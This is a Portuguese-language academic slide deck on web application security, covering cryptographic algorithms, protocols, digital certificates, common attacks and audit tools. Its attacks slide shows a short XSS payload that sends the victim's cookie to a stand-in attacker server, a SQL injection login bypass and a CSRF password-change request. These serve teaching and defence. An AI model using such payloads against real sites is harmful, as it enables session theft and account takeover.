seguranÇa de aplicaÇÕes na web aluno: thiago augusto lopes genez orientador: mario lemes proença...

23
SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr.

Upload: internet

Post on 21-Apr-2015

104 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

SEGURANÇA DE APLICAÇÕES NA WEBAluno: Thiago Augusto Lopes Genez

Orientador: Mario Lemes Proença Jr.

Page 2: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

SUMÁRIO Introdução

Conceitos Básicos de Segurança

Algoritmos Criptográficos

Protocolos de Segurança

Identificação Digital

Os Ataques

Ferramentas de Auditoria de Segurança

Page 3: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

INTRODUÇÃO

Aplicação WEB: Acessada por um navegador WEB Meio de comunicação O canal é inseguro Internet Exemplos:

E-commerce, Banking on-line

Necessidade da Segurança Ausência da segurança Falta de manutenção e/ou configuração específica

da segurança Falta de atualizações diárias

Cada dia novos ataques são descobertos A camada da aplicação possui falhas de segurança

Page 4: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

INTRODUÇÃO

Problema da insegurança nas aplicações WEB: Divulgação dos dados confidenciais “Quebra” do sigilo Perda da confiabilidade pelo

usuário. Informações caírem em “mãos erradas”

Solução: Criptografia, protocolos criptográficos,

identificação digital e ferramentas de auditoria. Objetivo

Garantir que as informações mantenham-se intactas e protegidas durante a sua transmissão na Internet.

Garantir um ambiente WEB seguro.

Page 5: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

CONCEITOS BÁSICOS DE SEGURANÇA

Serviços disponibilizados pela segurança: Autenticação Confidencialidade Integridade Não-repúdio Controle de Acesso Disponibilidade

Tipos de ataques contra a Segurança Objetivo dos ataques: minimizar os serviços de

segurança

Page 6: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

CONCEITOS BÁSICOS DE SEGURANÇA

Page 7: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

CONCEITOS BÁSICOS DE SEGURANÇA

Classificação dos ataques

Ataques passivos: sem modificação do conteúdo “Libertação” do conteúdo da mensagem Análise de tráfego

Ataques Ativos: com modificação do conteúdo Disfarçado Mensagens repetitivas Modificação de Mensagens Negação de Serviço (DoS)

Page 8: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

CONCEITOS BÁSICOS DE SEGURANÇA

O Problema da Segurança no Ambiente WEB Ocorrem nos Browsers:

Cookies, Applets, ActiveX, AJAX Entrada de dados não validado nas aplicações WEB

Solucionando o problema de segurança na WEB: Proteger :

O servidor WEB e os respectivos dados internos As informações que trafegam entre o servidor e o

usuário Planejar uma arquitetura de segurança para as

aplicações no seu ciclo de vida Os usuário finais devem navegar em uma

plataforma segura.

Page 9: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

CONCEITOS BÁSICOS DE SEGURANÇA

Page 10: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

ALGORITMOS CRIPTOGRÁFICOS

Origem etimológica grega: Ckryptós “escondido” Gráphein “escrever”.

Objetivo:Texto legível Cifra texto ilegível

Divididos em: Simétrico

Codificação em Blocos Codificação em Fluxo

Assimétrico Criptogrifia, Assinatura Digital e Troca de Chaves

Funções Hash

Page 11: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

ALGORITMOS CRIPTOGRÁFICOSSIMÉTRICOS

Algoritmo Bloco Chave Informações

RC4 Fluxo 1-2048 bitsInternet Banking Caixa

Econômica Federal, Banco do Brasil, Itaú

RC5 32-128 bits 64-128 bits Chave 64 quebrada, chave 72 bits segura

RC6 128 bits 128-256 bits Ficou no 4° colocado do AES

DES 64 bits 64 bits Defasado, 1998 quebrado por hardware

TDES 64 bits 168 bits Comércio eletrônico PayPal

AES 128-256 bits 128-256 bits 1997-Rijndael, pagseguro (UOL)

Blowfish 64 ou 128 bits 128 bits Plataforma OpenBSD

Twofish 128-256 bits 256 bits Ficou no 3° colocado do AES

Serpent 128-256 bits 128-256 bits Ficou no 2° colocado do AES

Page 12: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

ALGORITMOS CRIPTOGRÁFICOSASSIMÉTRICOS

Algoritmo Fornece Chave Informações

RSACriptografia

Assinatura digitalTroca de Chaves

1024-2048 bits

Utilizado na maioria dos certificados

digitais

Diffie-Hellman Troca de chaves 512-4096 bits

Necessita de mecanismo extra

para garantir autenticidade

DSA Assinatura Digital 1024 bits

Proposto em 1991 para ser o padrão para assinaturas

digitais

ECCCriptografia

Assinatura digitalTroca de Chaves

80-256 bitsDesafiar e concorrer

o RSA. Usado no DNSCurve

ECDSA Assinatura Digital 160 bits Concorrente ao DSA

Page 13: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

ALGORITMOS CRIPTOGRÁFICOSFUNÇÕES HASH

Algoritmo Tamanho Hash Informações

MD5 128 bits Não é resistente a colisão (2008)

MD6 512 bits Não avançou para a segunda fase do concurso SHA-3 em julho 2009

SHA-1 160 bits Não é resistente a colisão

SHA-2 224, 256, 384, 512 bits

Nenhum tipo de ataque foi relatado e a partir de 2010 todas agencias

federais USA tem que substituir o SHA-1 para SHA-2

SHA-3 224, 256, 384, 512 bits

Concurso proposto pela NIST. (andamento na 2° fase, resultado

sairá em 2012)

Page 14: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

PROTOCOLOS DE SEGURANÇA

Protocolos Ação Fornece Informações

SSL/TLS Entre as camadas de Transporte e a camada de aplicação

Criptografia (três tipos), Certificados Digitais

•Podem acoplar protocolos de alto nível: Ex, HTTPS•Ponto a Ponto

IPsec Na camada de Rede (pacote IP criptografado)

Autenticação, Criptografia e Gerenciamento de chaves

• Integrado no IPv6• Proteção nativa para todos os protocolos acima da camada de rede

WS-Security

Camada de aplicação

Criptografia XMLAssinatura XML

•Web Services•SOAP•Fim a Fim

DNSSec Serviço DNS Autenticação •Protege ataques DNS Spoofing (Falso DNS)

DNSCurve Serviço DNS AutenticaçãoCriptografia

•Protege ataques DoS

Page 15: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

PROTOCOLOS DE SEGURANÇASSL/TLS X WS-SECURITY

•Informação está segura no canal•Protege toda a mensagem•Comunicação ponto a ponto

•Garante a segurança em todos os estágio da comunicação•Protege somente as porções da mensagem que precisa de segurança•Comunicação fim a fim

Page 16: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

IDENTIFICAÇÃO DIGITAL Transações eletrônicas:

Integridade, autenticidade e confidencialidade Assinatura Digital

Bloco de dados criptografado anexado a mensagem

Fornece: Autenticação, Integridade e Não repúdio

Não garante a confidencialidade

Page 17: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

IDENTIFICAÇÃO DIGITALCERTIFICADO DIGITAL

Distribuir as chaves públicas de pessoas físicas e/ou jurídicas de forma segura.

Autoridade Certificadora (AC) Terceiro Confiável

Page 18: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

ATAQUES

Para proteger dos ataques é necessário conhecê-los

“Passos”: Reconhecimento do Alvo (DNS) Verificar a segurança da Rede O Ataque “Lá Dentro”

Ataque de força bruta Ataque do Homem do Meio (Man-in-the-middle) Ataque contra as aplicações WEB

Páginas dinâmicas Código executados no cliente (script client-side) Aplicação WEB + Servidor WEB +Banco de Dados Problema: Entrada dos dados não são tratados Dados armazenados em Cookies

Page 19: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

ATAQUES XSS (Cross Site Scripting)

http://site.vulneravel.com/post.php?param=id_sessao http://site.vulneravel.com/post.php?parametro=<script>document.location

= servidor.invasor.com/roubarCookie.php?’+document.cookie</script>

Injeção SQL SELECT * FROM users WHERE username = ’" + username + "’ AND password

= ’" + password + "’"; SELECT * FROM users WHERE username = ’’ or 1=1;--’ AND password = ’’;

CSRF (Cross-site reference forgery) Manipula a sessão ativa da vítima (Cookie roubado) http://site.vulneravel.com/index.php?pagina=altera_senha.php Altera os valores: nova_senha=12345678&confirma_nova_senha=12345678

Phishing google.com googIe.com

DNS Spoofing Clickjacking

Page 20: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

FERRAMENTAS DE AUDITORIA DE SEGURANÇA

Não é trivial encontrar vulnerabilidades das aplicações. Maioria das soluções propostas

Não garante a proteção na lógica da aplicação Aplicações desenvolvidas sem uma segurança na

camada da aplicação A segurança não incluída no ciclo de vida do software

Entrada dados não validados deixa a aplicação instável Ferramentas de auditoria

Minimiza as vulnerabilidades Objetivo de testar a segurança na camada de aplicação Funcionam como um proxy Manipulações dos pedidos e respostas HTTP/HTTPS Age como: “Homem do meio”

Page 21: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

FERRAMENTAS DE AUDITORIA DE SEGURANÇA

Funções\Ferramenta RatProxy

Web Scarab

ParosBurp

Proxy w3af

IBM AppScan

Licença Livre Sim Sim Sim Não Sim Não

Multiplataforma Sim Sim Sim Sim Sim NãoManipula

pedidos/resposta HTTP(S) Não Sim Sim Sim Sim Sim

Relatório detalhado Sim Não Sim Sim Sim Sim

Sugestão para Correção Não Não Não Não Não Sim

Suporte SSL/TLS Sim Sim Sim Sim Sim Sim

XSS, Injeção SQL, CSR Sim Sim Sim Sim Sim Sim

Análise de Cookies Sim Sim Sim Sim Sim Sim

Análise de dados ocultos Não Não Sim Não Não Sim

Análise RESTful Não Sim Sim Não Sim NãoAmbiente

Desenvolvimento Não Não Não Não Não Sim

Page 22: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

CONCLUSÃO Base da segurança: Criptografia Comunicação entre usuário final e a aplicação WEB:

Navegador WEB (browser) Canal é inseguro Internet Solução: Protocolos Criptográficos

Outra solução: identificação digital Transações eletrônicas:

Integridade, Autenticidade e Confidencialidade

Não garante a proteção na lógica da aplicação Linguagens WEB dinâmicas Entrada de dados não validados Deixa a aplicação WEB instável facilita os ataques Ferramentas de auditoria procura as vulnerabilidades

Computação na nuvem (cloud computing)

Page 23: SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr

OBRIGADO